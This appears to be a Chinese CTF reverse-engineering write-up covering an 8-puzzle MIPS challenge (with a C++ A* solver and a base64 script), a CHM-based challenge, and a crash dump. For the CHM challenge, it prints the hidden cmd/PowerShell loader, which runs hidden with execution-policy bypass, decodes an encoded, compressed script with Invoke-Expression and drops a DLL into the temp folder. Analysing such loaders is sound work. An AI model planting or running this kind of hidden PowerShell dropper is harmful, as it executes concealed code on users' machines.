hi, siri~
reverse
puzzle
mips32,ida7.5可反汇编 。
输入首先经过变种base64解码,解码后必须是0~9,然后走check函数。
check函数:
table的数据为4, 0, 3, 7, 2, 6, 8, 1, 5。
base64解码后的字符必须是2468,来控制方向。
就是个滑块,棋盘共9块区域,3*3,然后只有8块拼图,一块空白,拼图可以移动到空白处。
sub_400ffc验证table是否是123456780:
所以就是移动拼图,最终状态为123456780。
算法上这叫八数码。网上找个轮子直接跑状态。
#include<iostream>
#include<stdio.h>
#include<cmath>
using namespace std;
int open_cnt = 0;
int open_node_cnt;//open表节点个数
int close_cnt = 0;
int noresoult = 0;
struct Node {
int a[3][3];
int x, y;
int f, g, h;
int flag; //上一次移动方向
Node *father;
}start, End;
struct Open_Close {
int f;
Node *np;
}open[10000], close[10000];
bool isable() {//判断是否有解,逆序数之和奇偶性相同,有解
int s[9], e[9];
int tf = 0, ef = 0;
int k = 0;
for (int i = 0; i<3; i++) {
for (int j = 0; j<3; j++) {
s[k] = start.a[i][j];
e[k] = End.a[i][j];
k++;
}
}
for (int i = 0; i<9; i++) {
for (int j = 0; j<i; j++) {
if (s[i]>s[j] && s[j] != 0) tf += 1;
if (e[i]>e[j] && e[j] != 0) ef += 1;
}
}
if ((tf % 2 == 1 && ef % 2 == 1) || (tf % 2 == 0 && ef % 2 == 0)) return true;
else return false;
}
int a_start_h(Node *node) { //求 h()
int old_x, old_y, End_x, End_y;
int h = 0;
for (int k = 1; k<9; k++) {
for (int i = 0; i<3; i++) {
for (int j = 0; j<3; j++) {
if (node->a[i][j] == k) { //相应开始点的下表
old_x = i;
old_y = j;
}
if (End.a[i][j] == k) { //相应目标的结点下标
End_x = i;
End_y = j;
}
}
}
h += abs(old_x - End_x) + abs(old_y - End_y); //计算h
}
return h;
}
void input() { //输入
cout << "=====输入起始图====="<<endl;
for (int i = 0; i<3; i++) {
for (int j = 0; j<3; j++) {
cin >> start.a[i][j];
if (start.a[i][j] == 0) {
start.x = i;
start.y = j;
}
}
}
cout << endl;
cout << "=====输入目标图====="<<endl;
for (int i = 0; i<3; i++) {
for (int j = 0; j<3; j++) {
cin >> End.a[i][j];
if (End.a[i][j] == 0) {
End.x = i;
End.y = j;
}
}
}
cout << endl;
start.g = 0;
start.h = a_start_h(&start);
start.f = start.g + start.h;
}
int show(Node *node) { //显示
Node *p = node;
if (p == &start) return 1;
else show(p->father);
cout << "==============\n";
for (int i = 0; i<3; i++) {
for (int j = 0; j<3; j++) {
cout << p->a[i][j] << " ";
}
printf("\n");
}
cout << "==============\n\n";
}
bool isend(Node *node) { //判断是否为目标节点
for (int i = 0; i<3; i++) {
for (int j = 0; j<3; j++) {
if (node->a[i][j] != End.a[i][j])
return false;
}
}
return true;
}
void sort(Open_Close *open) { //open表排序
int min = 99999, min_flag = 0;
Open_Close temp;
for (int i = 0; i <= open_cnt; i++) {
if (min>open[i].f&&open[i].f>0) {
min = open[i].f;
min_flag = i;
}
}
temp = open[min_flag];
open[min_flag] = open[0];
open[0] = temp;
}
void move(int flag, Node *node) { //向四个方向扩展
int temp;
if (flag == 1 && node->x>0) { //turn left
Node *n = new Node();
for (int i = 0; i<3; i++) {
for (int j = 0; j<3; j++) {
n->a[i][j] = node->a[i][j];
}
}
n->a[node->x][node->y] = node->a[node->x - 1][node->y];
n->a[node->x - 1][node->y] = 0;
n->x = node->x - 1;
n->y = node->y;
n->flag = 3;
n->father = node;
n->g = node->g + 1; // 求 g()
n->h = a_start_h(n);
n->f = n->g + n->h; // 求 f()
open_cnt++;
open_node_cnt++;
open[open_cnt].np = n; //添加到open表
open[open_cnt].f = n->f;
}
else if (flag == 2 && node->y<2) { //go up
Node *n = new Node();
for (int i = 0; i<3; i++) {
for (int j = 0; j<3; j++) {
n->a[i][j] = node->a[i][j];
}
}
n->a[node->x][node->y] = node->a[node->x][node->y + 1];
n->a[node->x][node->y + 1] = 0;
n->x = node->x;
n->y = node->y + 1;
n->flag = 4;
n->father = node;
n->g = node->g + 1; // 求 g()
n->h = a_start_h(n);
n->f = n->g + n->h; // 求 f()
open_cnt++;
open_node_cnt++;
open[open_cnt].np = n; //添加到open表
open[open_cnt].f = n->f;
}
else if (flag == 3 && node->x<2) { //turn right
Node *n = new Node();
for (int i = 0; i<3; i++) {
for (int j = 0; j<3; j++) {
n->a[i][j] = node->a[i][j];
}
}
n->a[node->x][node->y] = node->a[node->x + 1][node->y];
n->a[node->x + 1][node->y] = 0;
n->x = node->x + 1;
n->y = node->y;
n->flag = 1;
n->father = node;
n->g = node->g + 1; // 求 g()
n->h = a_start_h(n);
n->f = n->g + n->h;// 求 f()
open_cnt++;
open_node_cnt++;
open[open_cnt].np = n; //添加到open表
open[open_cnt].f = n->f;
}
else if (flag == 4 && node->y>0) { //go down
Node *n = new Node();
for (int i = 0; i<3; i++) {
for (int j = 0; j<3; j++) {
n->a[i][j] = node->a[i][j];
}
}
n->a[node->x][node->y] = node->a[node->x][node->y - 1];
n->a[node->x][node->y - 1] = 0;
n->x = node->x;
n->y = node->y - 1;
n->flag = 2;
n->father = node;
n->g = node->g + 1; // 求 g()
n->h = a_start_h(n);
n->f = n->g + n->h;// 求 f()
open_cnt++;
open_node_cnt++;
open[open_cnt].np = n; //添加到open表
open[open_cnt].f = n->f;
}
}
void expand(Node *node) { //节点扩展
for (int i = 1; i<5; i++) {
if (i != node->flag) move(i, node);
}
}
int main() {
input();
open[0].np = &start;//start放入open表
open_node_cnt = 1;
if (isable()) {
while (true) {//open表不为空
if (isend(open[0].np)) {
cout << "\n路径:\n";
show(open[0].np);
cout << open[0].np->g << endl;
break;
}
expand(open[0].np);//扩展最优节点的子节点
open[0].np = NULL;
open[0].f = -1;
open_node_cnt--;
sort(open); //open表排序
}
}
else cout << "无解";
system("pause");
return(0);
}
输出:
=====输入起始图=====
4 0 3 7 2 6 8 1 5
=====输入目标图=====
1 2 3 4 5 6 7 8 0
路径:
==============
4 2 3
7 0 6
8 1 5
==============
==============
4 2 3
7 1 6
8 0 5
==============
==============
4 2 3
7 1 6
8 5 0
==============
==============
4 2 3
7 1 0
8 5 6
==============
==============
4 2 0
7 1 3
8 5 6
==============
==============
4 0 2
7 1 3
8 5 6
==============
==============
4 1 2
7 0 3
8 5 6
==============
==============
4 1 2
7 5 3
8 0 6
==============
==============
4 1 2
7 5 3
0 8 6
==============
==============
4 1 2
0 5 3
7 8 6
==============
==============
0 1 2
4 5 3
7 8 6
==============
==============
1 0 2
4 5 3
7 8 6
==============
==============
1 2 0
4 5 3
7 8 6
==============
==============
1 2 3
4 5 0
7 8 6
==============
==============
1 2 3
4 5 6
7 8 0
==============
15
所以是884226886224488。
然后还得base64变种算法编码回去。
变种的地方在sub_400B58
跟进去
其实就是查找字符的第一次出现的地址,减去字符串起始地址,得到偏移值,在模64加。
所以就是base64换表而已。
解题脚本:
import base64
b = b'884226886224488'
print(b)
import base64
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
string1 = string2[-18:] + string2[:-18]
print(string1)
tmp = base64.b64encode(b)
print(tmp)
print(tmp.decode().translate(str.maketrans(string2,string1)))
re123
给出一个没有后缀名的文件。查文件头,是chm文件。
改成chm后,运行,杀软提示调用了cmd和powershell。
7z可以打开chm,提取出文件。
其中doc.htm中有构造的cmd命令,调用了powershell。
,cmd.exe,/c START /MIN C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile powershell.exe -WindowStyle hidden -nologo -noprofile -e SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACAAKAAkACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAVABZADUAQgBDADQASQB3AEcASQBiAHYAZwB2ADkAaABqAEIAMgBNAGMASgBoAEUAaABOAEMAaABKAE0ARwBUAGsATgAyAHEAZwA3AHEAdgBGAEgAUQBUAC8AYgBMADUANwA1AHYAcABvAFYAMgAvADUAMwBuADIAcwBrAEoASgBCAEkAbgBrAFEARwA1AHgAdwBxAE8AcQBoAGsAYwBRAFgAQwBBAFQAeAA3AHEAKwBnAGsAYQBIAHMAdgBZAGoANwBrAEkAVgB2AEMAZwBiAHUAcgBJAHQAVgBnAG0AOQBNAFQAeABiAFYAQgA1AEwAQQBUAHAANQBPAGwAUQB2AGIANgBJAE0AVgAwAEwAZABRAHYAZABQAHAAdQArADgAeAA2ADYAUwBMADIAZQBPAHIATQBsACsAQwBrADcAbgBhAFUAQQA2ADkAZwBnAE4ARAA1AFUAYwBvAEUATwB6AEkAKwBwAFUAYwA4AHAANgAyAEcAMwBUAFIAWgB1AGIAdgAzADQASwA2AEkAYgBMAGUAcwBwAEEARABvAEcAUgAyADcAdgB2ACsAUgA3AEgAcABxAFgAegB0ADgAUQA5AHkAMABJAEoASQA1AE4AOABSAEwAQwB0AEwAdwA9AD0AJwApACkAKQApACwAIABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA==
解密base64,得到unicode的字符串。
import base64
b = 'SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACAAKAAkACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAVABZADUAQgBDADQASQB3AEcASQBiAHYAZwB2ADkAaABqAEIAMgBNAGMASgBoAEUAaABOAEMAaABKAE0ARwBUAGsATgAyAHEAZwA3AHEAdgBGAEgAUQBUAC8AYgBMADUANwA1AHYAcABvAFYAMgAvADUAMwBuADIAcwBrAEoASgBCAEkAbgBrAFEARwA1AHgAdwBxAE8AcQBoAGsAYwBRAFgAQwBBAFQAeAA3AHEAKwBnAGsAYQBIAHMAdgBZAGoANwBrAEkAVgB2AEMAZwBiAHUAcgBJAHQAVgBnAG0AOQBNAFQAeABiAFYAQgA1AEwAQQBUAHAANQBPAGwAUQB2AGIANgBJAE0AVgAwAEwAZABRAHYAZABQAHAAdQArADgAeAA2ADYAUwBMADIAZQBPAHIATQBsACsAQwBrADcAbgBhAFUAQQA2ADkAZwBnAE4ARAA1AFUAYwBvAEUATwB6AEkAKwBwAFUAYwA4AHAANgAyAEcAMwBUAFIAWgB1AGIAdgAzADQASwA2AEkAYgBMAGUAcwBwAEEARABvAEcAUgAyADcAdgB2ACsAUgA3AEgAcABxAFgAegB0ADgAUQA5AHkAMABJAEoASQA1AE4AOABSAEwAQwB0AEwAdwA9AD0AJwApACkAKQApACwAIABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA=='
r = base64.b64decode(b).decode().replace('\x00', '')
print(r)
输出:
Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object
IO.MemoryStream (,$([Convert]::FromBase64String('TY5BC4IwGIbvgv9hjB2McJhEhNChJMGTkN2qg7qvFHQT/bL575vpoV2/53n2skJJBInkQG5xwqOqhkcQXCATx7q+gkaHsvYj7kIVvCgburItVgm9MTxbVB5LATp5OlQvb6IMV0LdQvdPpu+8x66SL2eOrMl+Ck7naUA69ggND5UcoEOzI+pUc8p62G3TRZubv34K6IbLespADoGR27vv+R7HpqXzt8Q9y0IJI5N8RLCtLw==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
powershell会调用上面的命令。那个base64解码后不是明文,因为是压缩过的数据。搞web的队友帮忙解码。
如果你把本题的文件改名为doc.chm,并放到$pwd目录下,会在$env:temp目录中生成一个2020.tmp。
本题文件的后半段是base64编码的,解码后发现是个没有文件头的pe程序。这个命令就是把这个文件解码并释放出来。
其实大多数人都是直接发现文件后半段有base64,直接解码吧。
添加pe头之后,发现是dll。里面有aes。
aes128,密钥密文都在上图了。
aes的轮子太长了,就不贴了,只贴主函数吧。
int main()
{
AES aes(128, 283);
uint8_t key[16] = { 0x2B, 0x7E, 0x15, 0x16, 0x28, 0xAE, 0xD2, 0xA6, 0xAB, 0xF7, 0x15, 0x88, 0x09, 0xCF, 0x4F, 0x3C };
uint8_t cipher[128] = { 0xB5, 0xF4, 0x3F, 0x45, 0x43, 0xD6, 0x99, 0xE7, 0x56, 0x1B,
0x2A, 0xAA, 0x84, 0x20, 0xC4, 0x46 };
uint8_t* plain = aes.DecryptECB(cipher, BLOCK_BYTES_LENGTH, key);
printf("\n\n\n\n");
for (int i = 0; i < 16; i++) {
printf("%c, ", plain[i]);
}
system("pause");
return 0;
}
一开始python没解出aes来,我还以为是魔改aes,一直在对比算法。结果没解出来是因为python脚本解的是aes256,而这题是aes128。浪费了大量时间。
既然研究过了,那就顺便写一下吧。
dll怎么调试?我也不太会,因为这题的dll没有导出函数。但好在主逻辑是写在dllEntryPoint里的。如果显示调用(LoadLibrary)dll的话,会自动执行dllEntryPoint,所以我们需要写个c代码显示调用dll。
#include <stdio.h>
#include <windows.h>
int main(){
long long r = LoadLibrary("re123.dll");
// 成功则返回句柄,失败返回0
printf("0x%p\n", r);
return 0;
}
但是调用完就没了,怎么调试,难不成从LoadLibrary开始一步一步跟进去,一点一点进去?
有个巧妙的思路是把dllEntryPoint的第一个字节patch成0xcc,这样运行到此处时会弹异常,从而断在此处。然后我们手动把这个patch掉的字节改回原来的字节,然后在此处set ip。
爆异常:
来到此处:
把7FFF53CC1B64的0xcc改成原来的0x48。
然后改过0xcc的这个地方,set ip。因为本来运行了0xcc,爆了异常,此时rip是0x7FFF53CC1B65了,我们得把rip改回7FFF53CC1B64。
在7FFF53CC1B64右键,然后点set ip:
(本dll改不改都行是个特例,因为
刚好运行到这里时,rbx高位是0。)
然后继续运行,点NO,这个0xcc异常不要传给程序。
然后往后就是在dllEntryPoint这个函数里了,正常调试就行。
crash
给出的是core转储文件。这题是队友做的。
我看出有个md5算法,然后找到了几个md5的值,都能在cmd5上查到,但是要收费。还走了个异或常数。
等题解吧。听说是md5查表拿到原文后再异或常数,就是flag。但我没舍得花钱去反查cmd5.